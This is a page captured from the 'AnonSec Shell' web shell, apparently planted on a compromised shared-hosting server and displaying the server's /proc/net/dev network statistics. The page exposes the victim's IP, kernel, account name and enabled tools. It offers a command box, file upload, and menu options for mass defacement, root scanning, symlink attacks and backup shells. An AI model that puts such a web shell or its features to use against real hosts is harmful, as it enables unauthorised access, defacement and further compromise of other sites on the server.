AnonSec Shell
Server IP : 68.65.120.251  /  Your IP : 18.191.165.88   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux server105.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : travtpib ( 6521)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/root/proc/self/root/proc/self/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/thread-self/root/proc/self/root/proc/self/net/dev
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo: 92191290511215 45153330031    0    0    0     0          0         0 92191290511215 45153330031    0    0    0     0       0          0
  eth0: 25076273584168 39638774120    0 24630090 24630090     0          0  31643992 64836851679423 59798239234    0    0    0     0       0          0
  eth1: 25160482083870 40656472463    0 22509592 22509592     0          0  31672135 45977735562309 45454723939    0    0    0     0       0          0
  eth2:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth3:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bgplo:       0       0    0    0    0     0          0         0   677270    9609    0    0    0     0       0          0
  eth4:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth5:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 idrac:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth7:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth6:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bond0: 50236755668038 80295246583    0 47139682 47139682     0          0  63316127 110814587241732 105252963173    0    0    0     0       0          0
bond0.1000: 47670450508787 58389578148    0    0    0     0          0    288831 89010046281496 58124666707    0    0    0     0       0          0
bond0.999: 427057154175 2342015390    0    0    0     0          0    285001 18850577497032 1088379079    0    0    0     0       0          0

Anon7 - 2022
AnonSec Team